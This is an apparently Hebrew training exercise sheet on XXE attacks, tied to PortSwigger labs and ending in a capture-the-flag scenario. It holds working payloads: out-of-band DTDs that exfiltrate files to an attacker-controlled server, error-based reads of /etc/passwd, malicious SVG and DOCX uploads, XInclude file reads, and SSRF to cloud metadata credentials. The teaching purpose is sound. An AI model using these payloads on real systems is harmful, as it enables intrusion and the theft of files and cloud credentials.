הזרקת XML מתקדמת - תרגיל¶
תרגיל 1 - Blind XXE עם OOB¶
PortSwigger Lab: Blind XXE with out-of-band interaction
משימות¶
- מצאו נקודה באפליקציה שמקבלת XML
- שלחו payload בסיסי של XXE - וודאו שאין פלט ישיר
- הגדירו Burp Collaborator
- שלחו payload עם OOB:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.oastify.com">
%xxe;
]>
<stockCheck><productId>1</productId></stockCheck>
- בדקו ב-Collaborator שהבקשה הגיעה
תרגיל 2 - חילוץ נתונים OOB¶
PortSwigger Lab: Blind XXE with out-of-band interaction via XML parameter entities
משימות¶
- הכינו DTD זדוני בשרת שלכם:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://YOUR-COLLABORATOR.oastify.com/?data=%file;'>">
%eval;
%exfil;
- שלחו את ה-payload שטוען את ה-DTD:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR-SERVER/evil.dtd">
%xxe;
]>
<stockCheck><productId>1</productId></stockCheck>
- בדקו ב-Collaborator שקיבלתם את הנתונים
- חלצו קבצים נוספים:
/etc/passwd, קונפיגורציות
תרגיל 3 - Error-based XXE¶
PortSwigger Lab: Exploiting blind XXE to retrieve data via error messages
משימות¶
- גלו שה-OOB הרגיל לא עובד (חומת אש)
- הכינו DTD שמשתמש בשגיאות לחילוץ:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
- בדקו שהנתונים מופיעים בהודעת השגיאה
- חלצו את הקובץ הנדרש
תרגיל 4 - XXE דרך SVG¶
משימות¶
- מצאו פונקציית העלאת תמונות באפליקציה
- צרו קובץ SVG זדוני:
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<text x="10" y="50" font-size="20">&xxe;</text>
</svg>
- העלו את ה-SVG ובדקו אם התוכן מוצג
- אם עובד, חלצו קבצים רגישים
תרגיל 5 - XXE דרך DOCX¶
משימות¶
- מצאו פונקציה שמקבלת קבצי DOCX (מערכת קורות חיים, מערכת מסמכים)
- צרו DOCX זדוני:
# צרו DOCX חדש או השתמשו בקיים
mkdir evil_docx && cd evil_docx
unzip ../template.docx
# ערכו את word/document.xml - הוסיפו DOCTYPE עם XXE
# ארזו חזרה
zip -r ../malicious.docx .
- העלו את ה-DOCX ובדקו תגובת השרת
- נסו גם עם XLSX
תרגיל 6 - XInclude¶
PortSwigger Lab: Exploiting XInclude to retrieve files
משימות¶
- מצאו נקודה שבה ערך שלכם מוכנס לתוך XML (אבל אין לכם שליטה על ה-DOCTYPE)
- השתמשו ב-XInclude:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
- נסו להכניס את ה-XInclude בתוך ערך של שדה רגיל
- חלצו קובץ רגיש
תרגיל 7 - XXE ל-SSRF¶
משימות¶
- בסביבה עם AWS (או סימולציה), השתמשו ב-XXE לגישה ל-metadata:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
- חלצו את ה-IAM role name
- חלצו את ה-security credentials
- הראו כיצד ניתן להשתמש ב-credentials שחילצתם
תרגיל 8 - כל מעבדות PortSwigger¶
השלימו את כל המעבדות של PortSwigger בנושא XXE:
- Exploiting XXE using external entities to retrieve files (Apprentice)
- Exploiting XXE to perform SSRF attacks (Apprentice)
- Blind XXE with out-of-band interaction (Practitioner)
- Blind XXE with out-of-band interaction via XML parameter entities (Practitioner)
- Exploiting blind XXE to exfiltrate data using a malicious external DTD (Practitioner)
- Exploiting blind XXE to retrieve data via error messages (Practitioner)
- Exploiting XInclude to retrieve files (Practitioner)
- Exploiting XXE via image file upload (Practitioner)
לכל מעבדה תעדו¶
- את סוג ה-XXE (רגיל/עיוור/error-based)
- את ה-DTD או payload שהשתמשתם בו
- את הנתונים שחילצתם
- את שיטת ההגנה המתאימה
תרגיל 9 - בניית כלי XXE¶
משימות¶
כתבו סקריפט Python שמבצע:
- בדיקה האם endpoint פגיע ל-XXE
- ניסיון חילוץ קובץ ישיר
- ניסיון OOB עם שרת מקבל
- ניסיון error-based
- ניסיון XInclude
import requests
class XXEScanner:
def __init__(self, url, content_type='application/xml'):
self.url = url
self.content_type = content_type
def test_basic_xxe(self, file_path='/etc/hostname'):
"""בדיקת XXE בסיסי"""
# השלימו
pass
def test_blind_xxe(self, collaborator_url):
"""בדיקת blind XXE עם OOB"""
# השלימו
pass
def test_error_based(self, file_path):
"""בדיקת error-based XXE"""
# השלימו
pass
def test_xinclude(self, file_path):
"""בדיקת XInclude"""
# השלימו
pass
אתגר מסכם¶
תרחיש¶
מצאתם אפליקציה עם מספר נקודות שמקבלות XML:
- POST /api/check-stock - בדיקת מלאי (XML body)
- POST /upload/avatar - העלאת תמונת פרופיל (תומך SVG)
- POST /import/data - ייבוא נתונים (XLSX)
- POST /api/soap - שירות SOAP
משימות¶
- בדקו כל נקודה ל-XXE בסיסי
- עבור נקודות עם blind XXE - השתמשו ב-OOB
- העלו SVG זדוני
- צרו XLSX זדוני
- נסו XXE דרך SOAP
- בצעו SSRF דרך XXE לגישה לשירותים פנימיים
- חלצו את הקובץ
/flag.txt - כתבו דוח מסכם עם כל הממצאים